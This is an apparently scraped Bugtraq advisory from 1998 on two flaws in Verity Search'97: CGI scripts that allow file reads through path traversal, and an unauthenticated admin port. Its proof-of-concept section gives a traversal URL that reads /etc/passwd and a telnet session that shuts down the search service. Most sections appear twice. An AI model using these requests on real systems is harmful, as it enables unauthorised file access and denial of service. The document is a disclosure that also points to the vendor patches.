Verity/Search'97 Security Vulnerability
BID:162
Info
Verity/Search'97 Security Vulnerability
| Bugtraq ID: | 162 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | No |
| Local: | No |
| Published: | Jul 14 1998 12:00AM |
| Updated: | Jul 14 1998 12:00AM |
| Credit: | These vulnerabilities were first posted to Bugtraq by Stefan Arentz <[email protected]> on July 14, 1998. |
| Vulnerable: |
Verity Search97 2.1 |
| Not Vulnerable: | |
Discussion
Verity/Search'97 Security Vulnerability
A pair of vulnerabilities exist in Verity's Search`97 web interface to the Verity search engine. The first vulnerability is due to cgi-bin scripts, s97_cgi and s97r_cgi failing to check for the existence of certain shell meta characters. This allows an attacker to access any file on the file system.
The second vulnerability is due to a lack of authentication being used to access the Verity administrative program. Any user can telnet to the appropriate port, and issue a command to shut the Verity software down.
A pair of vulnerabilities exist in Verity's Search`97 web interface to the Verity search engine. The first vulnerability is due to cgi-bin scripts, s97_cgi and s97r_cgi failing to check for the existence of certain shell meta characters. This allows an attacker to access any file on the file system.
The second vulnerability is due to a lack of authentication being used to access the Verity administrative program. Any user can telnet to the appropriate port, and issue a command to shut the Verity software down.
Exploit / POC
Verity/Search'97 Security Vulnerability
s97_cgi:
http://www.xxx.com/search97.vts
?HLNavigate=On&querytext=dcm
&ServerKey=Primary
&ResultTemplate=../../../../../../../etc/passwd
&ResultStyle=simple
&ResultCount=20
&collection=books
tasmgr:
telnet to port 1972
0 Verity dcm ready
list
0 TAS-Primary
status tas-primary
0 TYPE=PROCESS; STATE=RUNNING; STARTUP=AUTO_START; PID=87632
stop tas-primary
0 'tas-primary' signalled
status tas-primary
0 TYPE=PROCESS; STATE=STOPPING; STARTUP=AUTO_START; PID=87632
where
0 /home/verity/_hpux10/bin/dcm.cfg
s97_cgi:
http://www.xxx.com/search97.vts
?HLNavigate=On&querytext=dcm
&ServerKey=Primary
&ResultTemplate=../../../../../../../etc/passwd
&ResultStyle=simple
&ResultCount=20
&collection=books
tasmgr:
telnet to port 1972
0 Verity dcm ready
list
0 TAS-Primary
status tas-primary
0 TYPE=PROCESS; STATE=RUNNING; STARTUP=AUTO_START; PID=87632
stop tas-primary
0 'tas-primary' signalled
status tas-primary
0 TYPE=PROCESS; STATE=STOPPING; STARTUP=AUTO_START; PID=87632
where
0 /home/verity/_hpux10/bin/dcm.cfg
Solution / Fix
Verity/Search'97 Security Vulnerability
Solution:
Verity has written and distributed patches for this problem. they are available on http://www.verity.com.
A temporary solution is to utilize a wrapper program. One was written by Jay Soffian <[email protected]> and was posted to the Bugtraq mailing list. It is available in the reference section of this vulnerability summary.
Solution:
Verity has written and distributed patches for this problem. they are available on http://www.verity.com.
A temporary solution is to utilize a wrapper program. One was written by Jay Soffian <[email protected]> and was posted to the Bugtraq mailing list. It is available in the reference section of this vulnerability summary.